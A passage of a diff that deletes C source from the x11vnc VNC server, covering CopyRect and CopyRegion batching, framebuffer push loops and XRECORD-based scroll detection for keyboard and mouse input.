-if (0) fprintf(stderr, "sa.. %d %d %d %d %d %d\n", sx1, sy1, sx2, sy2, sdx, sdy);
-
- if (rotating) {
- rotate_coords(sx1, sy1, &sx1, &sy1, -1, -1);
- rotate_coords(sx2, sy2, &sx2, &sy2, -1, -1);
- if (rotating == ROTATE_X) {
- sdx = -sdx;
- } else if (rotating == ROTATE_Y) {
- sdy = -sdy;
- } else if (rotating == ROTATE_XY) {
- sdx = -sdx;
- sdy = -sdy;
- } else if (rotating == ROTATE_90) {
- t = sdx;
- sdx = -sdy;
- sdy = t;
- } else if (rotating == ROTATE_90X) {
- t = sdx;
- sdx = sdy;
- sdy = t;
- } else if (rotating == ROTATE_90Y) {
- t = sdx;
- sdx = -sdy;
- sdy = -t;
- } else if (rotating == ROTATE_270) {
- t = sdx;
- sdx = sdy;
- sdy = -t;
- }
- }
-
- /* XXX -1? */
- if (sx2 < 0) sx2 = 0;
- if (sy2 < 0) sy2 = 0;
-
- if (sx2 < sx1) {
- t = sx1;
- sx1 = sx2;
- sx2 = t;
- }
- if (sy2 < sy1) {
- t = sy1;
- sy1 = sy2;
- sy2 = t;
- }
-if (0) fprintf(stderr, "sb.. %d %d %d %d %d %d\n", sx1, sy1, sx2, sy2, sdx, sdy);
-
- if (mode == DCR_Direct) {
- rfbClientIteratorPtr i;
- rfbClientPtr cl;
- sraRegionPtr r = sraRgnCreateRect(sx1, sy1, sx2, sy2);
-
- i = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(i)) ) {
- if (use_threads) LOCK(cl->updateMutex);
- rfbSendCopyRegion(cl, r, sdx, sdy);
- if (use_threads) UNLOCK(cl->updateMutex);
- }
- rfbReleaseClientIterator(i);
- sraRgnDestroy(r);
-
- } else {
- rfbDoCopyRect(screen, sx1, sy1, sx2, sy2, sdx, sdy);
- }
- }
- sraRgnReleaseIterator(iter);
-}
-
-void batch_copyregion(sraRegionPtr* region, int *dx, int *dy, int ncr, double delay) {
- rfbClientIteratorPtr i;
- rfbClientPtr cl;
- int k, direct, mode, nrects = 0, bad = 0;
- double t1, t2, start = dnow();
-
- for (k=0; k < ncr; k++) {
- sraRectangleIterator *iter;
- sraRect rect;
-
- iter = sraRgnGetIterator(region[k]);
- while (sraRgnIteratorNext(iter, &rect)) {
- int x1 = rect.x1;
- int y1 = rect.y1;
- int x2 = rect.x2;
- int y2 = rect.y2;
- int ym = dpy_y * (ncache+1);
- int xm = dpy_x;
- if (x1 > xm || y1 > ym || x2 > xm || y2 > ym) {
- if (ncdb) fprintf(stderr, "batch_copyregion: BAD RECTANGLE: %d,%d %d,%d\n", x1, y1, x2, y2);
- bad = 1;
- }
- if (x1 < 0 || y1 < 0 || x2 < 0 || y2 < 0) {
- if (ncdb) fprintf(stderr, "batch_copyregion: BAD RECTANGLE: %d,%d %d,%d\n", x1, y1, x2, y2);
- bad = 1;
- }
- }
- sraRgnReleaseIterator(iter);
- nrects += sraRgnCountRects(region[k]);
- }
- if (bad || nrects == 0) {
- return;
- }
-
- if (delay < 0.0) {
- delay = 0.1;
- }
- if (!fb_push_wait(delay, FB_COPY|FB_MOD)) {
- if (use_threads) usleep(100 * 1000);
- fb_push_wait(0.75, FB_COPY|FB_MOD);
- }
-
- t1 = dnow();
-
- bad = 0;
- i = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(i)) ) {
-
- if (use_threads) LOCK(cl->updateMutex);
-
- if (cl->ublen != 0) {
- fprintf(stderr, "batch_copyregion: *** BAD ublen != 0: %d\n", cl->ublen);
- bad++;
- }
-
- if (use_threads) UNLOCK(cl->updateMutex);
- }
- rfbReleaseClientIterator(i);
-
- if (bad) {
- return;
- }
-
- i = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(i)) ) {
- rfbFramebufferUpdateMsg *fu;
-
- if (use_threads) LOCK(cl->updateMutex);
-
- fu = (rfbFramebufferUpdateMsg *)cl->updateBuf;
- fu->nRects = Swap16IfLE((uint16_t)(nrects));
- fu->type = rfbFramebufferUpdate;
-
- if (cl->ublen != 0) fprintf(stderr, "batch_copyregion: *** BAD-2 ublen != 0: %d\n", cl->ublen);
-
- cl->ublen = sz_rfbFramebufferUpdateMsg;
-
- if (use_threads) UNLOCK(cl->updateMutex);
- }
- rfbReleaseClientIterator(i);
-
- if (rfb_fb == main_fb && !rotating) {
- direct = 0;
- mode = DCR_FBOnly;
- } else {
- direct = 1;
- mode = DCR_Direct;
- }
- for (k=0; k < ncr; k++) {
- do_copyregion(region[k], dx[k], dy[k], mode);
- }
-
- t2 = dnow();
-
- i = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(i)) ) {
-
- if (use_threads) LOCK(cl->updateMutex);
-
- if (!direct) {
- for (k=0; k < ncr; k++) {
- rfbSendCopyRegion(cl, region[k], dx[k], dy[k]);
- }
- }
- rfbSendUpdateBuf(cl);
-
- if (use_threads) UNLOCK(cl->updateMutex);
- }
- rfbReleaseClientIterator(i);
-
- last_copyrect = dnow();
-
-if (0) fprintf(stderr, "batch_copyregion: nrects: %d nregions: %d tot=%.4f t10=%.4f t21=%.4f t32=%.4f %.4f\n",
- nrects, ncr, last_copyrect - start, t1 - start, t2 - t1, last_copyrect - t2, dnowx());
-
-}
-
-void batch_push(int nreg, double delay) {
- int k;
- batch_copyregion(batch_reg, batch_dxs, batch_dys, nreg, delay);
- /* XXX Y */
- fb_push();
- for (k=0; k < nreg; k++) {
- sraRgnDestroy(batch_reg[k]);
- }
-}
-
-void fb_push(void) {
- int req0, mod0, cpy0, req1, mod1, cpy1, ncli;
- int db = (debug_scroll || debug_wireframe);
- rfbClientIteratorPtr i;
- rfbClientPtr cl;
-
- if (use_threads) {
- return;
- }
-
-if (db) get_client_regions(&req0, &mod0, &cpy0, &ncli);
-
- i = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(i)) ) {
- if (use_threads) LOCK(cl->updateMutex);
- if (cl->sock >= 0 && !cl->onHold && FB_UPDATE_PENDING(cl) &&
- !sraRgnEmpty(cl->requestedRegion)) {
- if (!rfbSendFramebufferUpdate(cl, cl->modifiedRegion)) {
- fprintf(stderr, "*** rfbSendFramebufferUpdate *FAILED* #1\n");
- if (cl->ublen) fprintf(stderr, "*** fb_push ublen not zero: %d\n", cl->ublen);
- if (use_threads) UNLOCK(cl->updateMutex);
- break;
- }
- if (cl->ublen) fprintf(stderr, "*** fb_push ublen NOT ZERO: %d\n", cl->ublen);
- }
- if (use_threads) UNLOCK(cl->updateMutex);
- }
- rfbReleaseClientIterator(i);
-
-if (db) {
- get_client_regions(&req1, &mod1, &cpy1, &ncli);
- fprintf(stderr, "\nFB_push: req: %d/%d mod: %d/%d cpy: %d/%d %.4f\n",
- req0, req1, mod0, mod1, cpy0, cpy1, dnowx());
-}
-
-}
-
-int fb_push_wait(double max_wait, int flags) {
- double tm, dt = 0.0;
- int req, mod, cpy, ncli;
- int ok = 0, first = 1;
-
- dtime0(&tm);
- while (dt < max_wait) {
- int done = 1;
- fb_push();
- get_client_regions(&req, &mod, &cpy, &ncli);
- if (flags & FB_COPY && cpy) {
- done = 0;
- }
- if (flags & FB_MOD && mod) {
- done = 0;
- }
- if (flags & FB_REQ && req) {
- done = 0;
- }
- if (done) {
- ok = 1;
- break;
- }
- if (first) {
- first = 0;
- continue;
- }
-
- rfbCFD(0);
- usleep(1000);
- dt += dtime(&tm);
- }
- return ok;
-}
-
-/*
- * utility routine for CopyRect of the window (but not CopyRegion)
- */
-static int crfix(int x, int dx, int Lx) {
- /* adjust x so that copy source is on screen */
- if (dx > 0) {
- if (x-dx < 0) {
- /* off on the left */
- x = dx;
- }
- } else {
- if (x-dx >= Lx) {
- /* off on the right */
- x = Lx + dx - 1;
- }
- }
- return x;
-}
-
-typedef struct scroll_result {
- Window win;
- double time;
- int result;
-} scroll_result_t;
-
-#define SCR_RESULTS_MAX 256
-static scroll_result_t scroll_results[SCR_RESULTS_MAX];
-
-static int scrollability(Window win, int set) {
- double oldest = -1.0;
- int i, index = -1, next_index = -1;
- static int first = 1;
-
- if (first) {
- for (i=0; i<SCR_RESULTS_MAX; i++) {
- scroll_results[i].win = None;
- scroll_results[i].time = 0.0;
- scroll_results[i].result = 0;
- }
- first = 0;
- }
-
- if (win == None) {
- return 0;
- }
- if (set == SCR_NONE) {
- /* lookup case */
- for (i=0; i<SCR_RESULTS_MAX; i++) {
- if (win == scroll_results[i].win) {
- return scroll_results[i].result;
- }
- if (scroll_results[i].win == None) {
- break;
- }
- }
- return 0;
- }
-
- for (i=0; i<SCR_RESULTS_MAX; i++) {
- if (oldest == -1.0 || scroll_results[i].time < oldest) {
- next_index = i;
- oldest = scroll_results[i].time;
- }
- if (win == scroll_results[i].win) {
- index = i;
- break;
- }
- if (next_index >= 0 && scroll_results[i].win == None) {
- break;
- }
- }
-
- if (set == SCR_SUCCESS) {
- set = 1;
- } else if (set == SCR_FAIL) {
- set = -1;
- } else {
- set = 0;
- }
- if (index == -1) {
- scroll_results[next_index].win = win;
- scroll_results[next_index].time = dnow();
- scroll_results[next_index].result = set;
- } else {
- if (scroll_results[index].result == 1) {
- /*
- * once a success, always a success, until they
- * forget about us...
- */
- set = 1;
- } else {
- scroll_results[index].result = set;
- }
- scroll_results[index].time = dnow();
- }
-
- return set;
-}
-
-void eat_viewonly_input(int max_eat, int keep) {
- int i, gp, gk;
-
- for (i=0; i<max_eat; i++) {
- int cont = 0;
- gp = got_pointer_calls;
- gk = got_keyboard_calls;
- rfbCFD(0);
- if (got_pointer_calls > gp) {
- if (debug_pointer) {
- rfbLog("eat_viewonly_input: pointer: %d\n", i);
- }
- cont++;
- }
- if (got_keyboard_calls > gk) {
- if (debug_keyboard) {
- rfbLog("eat_viewonly_input: keyboard: %d\n", i);
- }
- cont++;
- }
- if (i >= keep - 1 && ! cont) {
- break;
- }
- }
-}
-
-static int eat_pointer(int max_ptr_eat, int keep) {
- int i, count = 0, gp = got_pointer_input;
-
- for (i=0; i<max_ptr_eat; i++) {
- rfbCFD(0);
- if (got_pointer_input > gp) {
- count++;
-if (0) fprintf(stderr, "GP*-%d\n", i);
- gp = got_pointer_input;
- } else if (i > keep) {
- break;
- }
- }
- return count;
-}
-
-static void set_bdpush(int type, double *last_bdpush, int *pushit) {
- double now, delay = 0.0;
- int link, latency, netrate;
-
- *pushit = 0;
-
- if (type == SCR_MOUSE) {
- delay = scr_mouse_bdpush_time;
- } else if (type == SCR_KEY) {
- delay = scr_key_bdpush_time;
- }
-
- link = link_rate(&latency, &netrate);
- if (link == LR_DIALUP) {
- delay *= 1.5;
- } else if (link == LR_BROADBAND) {
- delay *= 1.25;
- }
-
- dtime0(&now);
- if (delay > 0.0 && now > *last_bdpush + delay) {
- *pushit = 1;
- *last_bdpush = now;
- }
-}
-
-void mark_for_xdamage(int x, int y, int w, int h) {
- int tx1, ty1, tx2, ty2;
- sraRegionPtr tmpregion;
-
- if (! use_xdamage) {
- return;
- }
-
- tx1 = nfix(x, dpy_x);
- ty1 = nfix(y, dpy_y);
- tx2 = nfix(x + w, dpy_x+1);
- ty2 = nfix(y + h, dpy_y+1);
-
- tmpregion = sraRgnCreateRect(tx1, ty1, tx2, ty2);
- add_region_xdamage(tmpregion);
- sraRgnDestroy(tmpregion);
-}
-
-void mark_region_for_xdamage(sraRegionPtr region) {
- sraRectangleIterator *iter;
- sraRect rect;
- iter = sraRgnGetIterator(region);
- while (sraRgnIteratorNext(iter, &rect)) {
- int x1 = rect.x1;
- int y1 = rect.y1;
- int x2 = rect.x2;
- int y2 = rect.y2;
- mark_for_xdamage(x1, y1, x2 - x1, y2 - y1);
- }
- sraRgnReleaseIterator(iter);
-}
-
-void set_xdamage_mark(int x, int y, int w, int h) {
- sraRegionPtr region;
-
- if (! use_xdamage) {
- return;
- }
- mark_for_xdamage(x, y, w, h);
-
- if (xdamage_scheduled_mark == 0.0) {
- xdamage_scheduled_mark = dnow() + 2.0;
- }
-
- if (xdamage_scheduled_mark_region == NULL) {
- xdamage_scheduled_mark_region = sraRgnCreate();
- }
- region = sraRgnCreateRect(x, y, x + w, y + w);
- sraRgnOr(xdamage_scheduled_mark_region, region);
- sraRgnDestroy(region);
-}
-
-static int repeat_check(double last_key_scroll) {
- int repeating;
- double rate = typing_rate(0.0, &repeating);
- double now = dnow(), delay = 0.5;
- if (rate > 2.0 && repeating && now > last_key_scroll + delay) {
- return 0;
- } else {
- return 1;
- }
-}
-
-static int check_xrecord_keys(void) {
- static int last_wx, last_wy, last_ww, last_wh;
- double spin = 0.0, tm, tnow;
- int scr_cnt = 0, input = 0, scroll_rep;
- int get_out, got_one = 0, flush1 = 0, flush2 = 0;
- int gk, gk0, ret = 0, db = debug_scroll;
- int fail = 0;
- int link, latency, netrate;
-
- static double last_key_scroll = 0.0;
- static double persist_start = 0.0;
- static double last_bdpush = 0.0;
- static int persist_count = 0;
- int scroll_keysym = 0;
- double last_scroll, scroll_persist = scr_key_persist;
- double spin_fac = 1.0, scroll_fac = 2.0, noscroll_fac = 0.75;
- double max_spin, max_long_spin = 0.3;
- double set_repeat_in;
- static double set_repeat = 0.0;
-
-
- RAWFB_RET(0)
-
- if (unixpw_in_progress) return 0;
-
- set_repeat_in = set_repeat;
- set_repeat = 0.0;
-
- get_out = 1;
- if (got_keyboard_input) {
- get_out = 0;
- }
-
- dtime0(&tnow);
- if (tnow < last_key_scroll + scroll_persist) {
- get_out = 0;
- }
-
- if (set_repeat_in > 0.0 && tnow < last_key_scroll + set_repeat_in) {
- get_out = 0;
- }
-
- if (get_out) {
- persist_start = 0.0;
- persist_count = 0;
- last_bdpush = 0.0;
- if (xrecording) {
- xrecord_watch(0, SCR_KEY);
- }
- return 0;
- }
-
-#if 0
- /* not used for keyboard yet */
- scroll_rep = scrollability(xrecord_ptr_window, SCR_NONE) + 1;
- if (scroll_rep == 1) {
- scroll_rep = 2; /* if no info, assume the best. */
- }
-#endif
-
- scroll_keysym = xrecord_scroll_keysym(last_rfb_keysym);
-
- max_spin = scr_key_time;
-
- if (set_repeat_in > 0.0 && tnow < last_key_scroll + 2*set_repeat_in) {
- max_spin = 2 * set_repeat_in;
- } else if (tnow < last_key_scroll + scroll_persist) {
- max_spin = 1.25*(tnow - last_key_scroll);
- } else if (tnow < last_key_to_button_remap_time + 1.5*scroll_persist) {
- /* mostly a hack I use for testing -remap key -> btn4/btn5 */
- max_spin = scroll_persist;
- } else if (scroll_keysym) {
- if (repeat_check(last_key_scroll)) {
- spin_fac = scroll_fac;
- } else {
- spin_fac = noscroll_fac;
- }
- }
- if (max_spin > max_long_spin) {
- max_spin = max_long_spin;
- }
-
- /* XXX use this somehow */
-if (0) link = link_rate(&latency, &netrate);
-
- gk = gk0 = got_keyboard_input;
- dtime0(&tm);
-
-if (db) fprintf(stderr, "check_xrecord_keys: BEGIN LOOP: scr_ev_cnt: "
- "%d max: %.3f %.4f\n", scr_ev_cnt, max_spin, tm - x11vnc_start);
-
- while (1) {
-
- if (scr_ev_cnt) {
- got_one = 1;
-
- scrollability(xrecord_ptr_window, SCR_SUCCESS);
- scroll_rep = 2;
-
- dtime0(&last_scroll);
- last_key_scroll = last_scroll;
- scr_cnt++;
- break;
- }
-
- X_LOCK;
- flush1 = 1;
- XFlush_wr(dpy);
- X_UNLOCK;
-
- if (set_repeat_in > 0.0) {
- max_keyrepeat_time = set_repeat_in;
- }
-
- if (use_threads) {
- usleep(1000);
- } else {
- rfbCFD(1000);
- }
- spin += dtime(&tm);
-
- X_LOCK;
- if (got_keyboard_input > gk) {
- gk = got_keyboard_input;
- input++;
- if (set_repeat_in) {
- ;
- } else if (xrecord_scroll_keysym(last_rfb_keysym)) {
- if (repeat_check(last_key_scroll)) {
- spin_fac = scroll_fac;
- } else {
- spin_fac = noscroll_fac;
- }
- }
-if (0 || db) fprintf(stderr, "check_xrecord: more keys: %.3f 0x%x "
- " %.4f %s %s\n", spin, last_rfb_keysym, last_rfb_keytime - x11vnc_start,
- last_rfb_down ? "down":"up ", last_rfb_key_accepted ? "accept":"skip");
- flush2 = 1;
- XFlush_wr(dpy);
- }
-#if LIBVNCSERVER_HAVE_RECORD
- SCR_LOCK;
- XRecordProcessReplies(rdpy_data);
- SCR_UNLOCK;
-#endif
- X_UNLOCK;
-
- if (spin >= max_spin * spin_fac) {
-if (0 || db) fprintf(stderr, "check_xrecord: SPIN-OUT: %.3f/%.3f\n", spin,
- max_spin * spin_fac);
- fail = 1;
- break;
- }
- }
-
- max_keyrepeat_time = 0.0;
-
- if (scr_ev_cnt) {
- int dret, ev = scr_ev_cnt - 1;
- int bdx, bdy, bdskinny, bdpush = 0;
- double max_age = 0.25, age, tm, dt;
- static double last_scr_ev = 0.0;
-
- last_wx = scr_ev[ev].win_x;
- last_wy = scr_ev[ev].win_y;
- last_ww = scr_ev[ev].win_w;
- last_wh = scr_ev[ev].win_h;
-
- /* assume scrollbar on rhs: */
- bdx = last_wx + last_ww + 3;
- bdy = last_wy + last_wh/2;
- bdskinny = 32;
-
- if (persist_start == 0.0) {
- bdpush = 0;
- } else {
- set_bdpush(SCR_KEY, &last_bdpush, &bdpush);
- }
-
- dtime0(&tm);
- age = max_age;
- dret = push_scr_ev(&age, SCR_KEY, bdpush, bdx, bdy, bdskinny, 1);
- dt = dtime(&tm);
-
- ret = 1 + dret;
- scr_ev_cnt = 0;
-
- if (ret == 2 && xrecord_scroll_keysym(last_rfb_keysym)) {
- int repeating;
- double time_lo = 1.0/max_keyrepeat_lo;
- double time_hi = 1.0/max_keyrepeat_hi;
- double rate = typing_rate(0.0, &repeating);
-if (0 || db) fprintf(stderr, "Typing: dt: %.4f rate: %.1f\n", dt, rate);
- if (repeating) {
- /* n.b. the "quantum" is about 1/30 sec. */
- max_keyrepeat_time = 1.0*dt;
- if (max_keyrepeat_time > time_lo ||
- max_keyrepeat_time < time_hi) {
- max_keyrepeat_time = 0.0;
- } else {
- set_repeat = max_keyrepeat_time;
-if (0 || db) fprintf(stderr, "set max_keyrepeat_time: %.2f\n", max_keyrepeat_time);
- }
- }
- }
-
- last_scr_ev = dnow();
- }
-
- if ((got_one && ret < 2) || persist_count) {
- set_xdamage_mark(last_wx, last_wy, last_ww, last_wh);
- }
-
- if (fail) {
- scrollability(xrecord_ptr_window, SCR_FAIL);
- }
-
- if (xrecording) {
- if (ret < 2) {
- xrecord_watch(0, SCR_KEY);
- }
- }
-
- if (ret == 2) {
- if (persist_start == 0.0) {
- dtime(&persist_start);
- last_bdpush = persist_start;
- }
- } else {
- persist_start = 0.0;
- last_bdpush = 0.0;
- }
-
- /* since we've flushed it, we might as well avoid -input_skip */
- if (flush1 || flush2) {
- got_keyboard_input = 0;
- got_pointer_input = 0;
- }
-
- return ret;
-}
-
-static int check_xrecord_mouse(void) {
- static int last_wx, last_wy, last_ww, last_wh;
- double spin = 0.0, tm, tnow;
- int i, scr_cnt = 0, input = 0, scroll_rep;
- int get_out, got_one = 0, flush1 = 0, flush2 = 0;
- int gp, gp0, ret = 0, db = debug_scroll;
- int gk, gk0;
- int fail = 0;
- int link, latency, netrate;
-
- int start_x, start_y, last_x, last_y;
- static double last_mouse_scroll = 0.0;
- double last_scroll;
- double max_spin[3], max_long[3], persist[3];
- double flush1_time = 0.01;
- static double last_flush = 0.0;
- double last_bdpush = 0.0, button_up_time = 0.0;
- int button_mask_save;
- int already_down = 0, max_ptr_eat = 20;
- static int want_back_in = 0;
- int came_back_in;
- int first_push = 1;
-
- int scroll_wheel = 0;
- int btn4 = (1<<3);
- int btn5 = (1<<4);
-
- RAWFB_RET(0)
-
- get_out = 1;
- if (button_mask) {
- get_out = 0;
- }
- if (want_back_in) {
- get_out = 0;
- }
- dtime0(&tnow);
-if (0) fprintf(stderr, "check_xrecord_mouse: IN xrecording: %d\n", xrecording);
-
- if (get_out) {
- if (xrecording) {
- xrecord_watch(0, SCR_MOUSE);
- }
- return 0;
- }
-
- scroll_rep = scrollability(xrecord_ptr_window, SCR_NONE) + 1;
- if (scroll_rep == 1) {
- scroll_rep = 2; /* if no info, assume the best. */
- }
-
- if (button_mask_prev) {
- already_down = 1;
- }
- if (want_back_in) {
- came_back_in = 1;
- first_push = 0;
- } else {
- came_back_in = 0;
- }
- want_back_in = 0;
-
- if (button_mask & (btn4|btn5)) {
- scroll_wheel = 1;
- }
-
- /*
- * set up times for the various "reputations"
- *
- * 0 => -1, has been tried but never found a scroll.
- * 1 => 0, has not been tried.
- * 2 => +1, has been tried and found a scroll.
- */
-
- /* first spin-out time (no events) */
- max_spin[0] = 1*scr_mouse_time;
- max_spin[1] = 2*scr_mouse_time;
- max_spin[2] = 4*scr_mouse_time;
- if (!already_down) {
- for (i=0; i<3; i++) {
- max_spin[i] *= 1.5;
- }
- }
-
- /* max time between events */
- persist[0] = 1*scr_mouse_persist;
- persist[1] = 2*scr_mouse_persist;
- persist[2] = 4*scr_mouse_persist;
-
- /* absolute max time in the loop */
- max_long[0] = scr_mouse_maxtime;
- max_long[1] = scr_mouse_maxtime;
- max_long[2] = scr_mouse_maxtime;
-
- pointer_flush_delay = scr_mouse_pointer_delay;
-
- /* slow links: */
- link = link_rate(&latency, &netrate);
- if (link == LR_DIALUP) {
- for (i=0; i<3; i++) {
- max_spin[i] *= 2.0;
- }
- pointer_flush_delay *= 2;
- } else if (link == LR_BROADBAND) {
- pointer_flush_delay *= 2;
- }
-
- gp = gp0 = got_pointer_input;
- gk = gk0 = got_keyboard_input;
- dtime0(&tm);
-
- /*
- * this is used for border pushes (bdpush) to guess location
- * of scrollbar (region rects containing this point are pushed).
- */
- last_x = start_x = cursor_x;
- last_y = start_y = cursor_y;
-
-if (db) fprintf(stderr, "check_xrecord_mouse: BEGIN LOOP: scr_ev_cnt: "
- "%d max: %.3f %.4f\n", scr_ev_cnt, max_spin[scroll_rep], tm - x11vnc_start);
-
- while (1) {
- double spin_check;
- if (scr_ev_cnt) {
- int dret, ev = scr_ev_cnt - 1;
- int bdpush = 0, bdx, bdy, bdskinny;
- double tm, dt, age = 0.35;
-
- got_one = 1;
- scrollability(xrecord_ptr_window, SCR_SUCCESS);
- scroll_rep = 2;
-
- scr_cnt++;
-
- dtime0(&last_scroll);
- last_mouse_scroll = last_scroll;
-
- if (last_bdpush == 0.0) {
- last_bdpush = last_scroll;
- }
-
- bdx = start_x;
- bdy = start_y;
- if (clipshift) {
- bdx += coff_x;
- bdy += coff_y;
- }
- if (subwin) {
- bdx += off_x;
- bdy += off_y;
- }
- bdskinny = 32;
-
- set_bdpush(SCR_MOUSE, &last_bdpush, &bdpush);
-
- dtime0(&tm);
-
- dret = push_scr_ev(&age, SCR_MOUSE, bdpush, bdx,
- bdy, bdskinny, first_push);
- if (first_push) first_push = 0;
- ret = 1 + dret;
-
- dt = dtime(&tm);
-
-if (db) fprintf(stderr, " dret: %d scr_ev_cnt: %d dt: %.4f\n",
- dret, scr_ev_cnt, dt);
-
- last_wx = scr_ev[ev].win_x;
- last_wy = scr_ev[ev].win_y;
- last_ww = scr_ev[ev].win_w;
- last_wh = scr_ev[ev].win_h;
- scr_ev_cnt = 0;
-
- if (! dret) {
- break;
- }
- if (0 && button_up_time > 0.0) {
- /* we only take 1 more event with button up */
-if (db) fprintf(stderr, "check_xrecord: BUTTON_UP_SCROLL: %.3f\n", spin);
- break;
- }
- }
-
-
- if (! flush1) {
- if (! already_down || (!scr_cnt && spin>flush1_time)) {
- flush1 = 1;
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- dtime0(&last_flush);
- }
- }
-
- if (use_threads) {
- usleep(1000);
- } else {
- rfbCFD(1000);
- rfbCFD(0);
- }
- spin += dtime(&tm);
-
- if (got_pointer_input > gp) {
- flush2 = 1;
- input += eat_pointer(max_ptr_eat, 1);
- gp = got_pointer_input;
- }
- if (got_keyboard_input > gk) {
- gk = got_keyboard_input;
- input++;
- }
- X_LOCK;
-#if LIBVNCSERVER_HAVE_RECORD
- SCR_LOCK;
- XRecordProcessReplies(rdpy_data);
- SCR_UNLOCK;
-#endif
- X_UNLOCK;
-
- if (! input) {
- spin_check = 1.5 * max_spin[scroll_rep];
- } else {
- spin_check = max_spin[scroll_rep];
- }
-
- if (button_up_time > 0.0) {
- if (tm > button_up_time + max_spin[scroll_rep]) {
-if (db) fprintf(stderr, "check_xrecord: SPIN-OUT-BUTTON_UP: %.3f/%.3f\n", spin, tm - button_up_time);
- break;
- }
- } else if (!scr_cnt) {
- if (spin >= spin_check) {
-
-if (db) fprintf(stderr, "check_xrecord: SPIN-OUT-1: %.3f/%.3f\n", spin, spin_check);
- fail = 1;
- break;
- }
- } else {
- if (tm >= last_scroll + persist[scroll_rep]) {
-
-if (db) fprintf(stderr, "check_xrecord: SPIN-OUT-2: %.3f/%.3f\n", spin, tm - last_scroll);
- break;
- }
- }
- if (spin >= max_long[scroll_rep]) {
-
-if (db) fprintf(stderr, "check_xrecord: SPIN-OUT-3: %.3f/%.3f\n", spin, max_long[scroll_rep]);
- break;
- }
-
- if (! button_mask) {
- int doflush = 0;
- if (button_up_time > 0.0) {
- ;
- } else if (came_back_in) {
- dtime0(&button_up_time);
- doflush = 1;
- } else if (scroll_wheel) {
-if (db) fprintf(stderr, "check_xrecord: SCROLL-WHEEL-BUTTON-UP-KEEP-GOING: %.3f/%.3f %d/%d %d/%d\n", spin, max_long[scroll_rep], last_x, last_y, cursor_x, cursor_y);
- doflush = 1;
- dtime0(&button_up_time);
- } else if (last_x == cursor_x && last_y == cursor_y) {
-if (db) fprintf(stderr, "check_xrecord: BUTTON-UP: %.3f/%.3f %d/%d %d/%d\n", spin, max_long[scroll_rep], last_x, last_y, cursor_x, cursor_y);
- break;
- } else {
-if (db) fprintf(stderr, "check_xrecord: BUTTON-UP-KEEP-GOING: %.3f/%.3f %d/%d %d/%d\n", spin, max_long[scroll_rep], last_x, last_y, cursor_x, cursor_y);
- doflush = 1;
- dtime0(&button_up_time);
- }
- if (doflush) {
- flush1 = 1;
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- dtime0(&last_flush);
- }
- }
-
- last_x = cursor_x;
- last_y = cursor_y;
- }
-
- if (got_one) {
- set_xdamage_mark(last_wx, last_wy, last_ww, last_wh);
- }
-
- if (fail) {
- scrollability(xrecord_ptr_window, SCR_FAIL);
- }
-
- /* flush any remaining pointer events. */
- button_mask_save = button_mask;
- pointer_queued_sent = 0;
- last_x = cursor_x;
- last_y = cursor_y;
- pointer_event(-1, 0, 0, NULL);
- pointer_flush_delay = 0.0;
-
- if (xrecording && pointer_queued_sent && button_mask_save &&
- (last_x != cursor_x || last_y != cursor_y) ) {
-if (db) fprintf(stderr, " pointer() push yields events on: ret=%d\n", ret);
- if (ret == 2) {
-if (db) fprintf(stderr, " we decide to send ret=3\n");
- want_back_in = 1;
- ret = 3;
- flush2 = 1;
- } else {
- if (ret) {
- ret = 1;
- } else {
- ret = 0;
- }
- xrecord_watch(0, SCR_MOUSE);
- }
- } else {
- if (ret) {
- ret = 1;
- } else {
- ret = 0;
- }
- if (xrecording) {
- xrecord_watch(0, SCR_MOUSE);
- }
- }
-
- if (flush2) {
- X_LOCK;
- XFlush_wr(dpy);
- XFlush_wr(rdpy_ctrl);
- X_UNLOCK;
-
- flush2 = 1;
- dtime0(&last_flush);
-
-if (db) fprintf(stderr, "FLUSH-2\n");
- }
-
- /* since we've flushed it, we might as well avoid -input_skip */
- if (flush1 || flush2) {
- got_keyboard_input = 0;
- got_pointer_input = 0;
- }
-
- if (ret) {
- return ret;
- } else if (scr_cnt) {
- return 1;
- } else {
- return 0;
- }
-}
-
-int check_xrecord(void) {
- int watch_keys = 0, watch_mouse = 0, consider_mouse;
- static int mouse_wants_back_in = 0;
-
- RAWFB_RET(0)
-
- if (! use_xrecord) {
- return 0;
- }
- if (unixpw_in_progress) return 0;
-
- if (skip_cr_when_scaling("scroll")) {
- return 0;
- }
-
-if (0) fprintf(stderr, "check_xrecord: IN xrecording: %d\n", xrecording);
-
- if (! xrecording) {
- return 0;
- }
-
- if (!strcmp(scroll_copyrect, "always")) {
- watch_keys = 1;
- watch_mouse = 1;
- } else if (!strcmp(scroll_copyrect, "keys")) {
- watch_keys = 1;
- } else if (!strcmp(scroll_copyrect, "mouse")) {
- watch_mouse = 1;
- }
-
- if (button_mask || mouse_wants_back_in) {
- consider_mouse = 1;
- } else {
- consider_mouse = 0;
- }
-if (0) fprintf(stderr, "check_xrecord: button_mask: %d mouse_wants_back_in: %d\n", button_mask, mouse_wants_back_in);
-
- if (watch_mouse && consider_mouse && xrecord_set_by_mouse) {
- int ret = check_xrecord_mouse();
- if (ret == 3) {
- mouse_wants_back_in = 1;
- } else {
- mouse_wants_back_in = 0;
- }
- return ret;
- } else if (watch_keys && xrecord_set_by_keys) {
- mouse_wants_back_in = 0;
- return check_xrecord_keys();
- } else {
- mouse_wants_back_in = 0;
- return 0;
- }
-}
-
-#define DB_SET \
- int db = 0; \
- int db2 = 0; \
- if (debug_wireframe == 1) { \
- db = 1; \
- } \
- if (debug_wireframe == 2) { \
- db2 = 1; \
- } \
- if (debug_wireframe == 3) { \
- db = 1; \
- db2 = 1; \
- }
-
-#define NBATCHMAX 1024
-int batch_dxs[NBATCHMAX], batch_dys[NBATCHMAX];
-sraRegionPtr batch_reg[NBATCHMAX];
-
-static int try_copyrect(Window orig_frame, Window frame, int x, int y, int w, int h,
- int dx, int dy, int *obscured, sraRegionPtr extra_clip, double max_wait, int *nbatch) {
-
- static int dt_bad = 0;
- static time_t dt_bad_check = 0;
- int x1, y1, x2, y2, sent_copyrect = 0;
- int req, mod, cpy, ncli;
- double tm, dt;
- DB_SET
-
- if (nbatch == NULL) {
- get_client_regions(&req, &mod, &cpy, &ncli);
- if (cpy) {
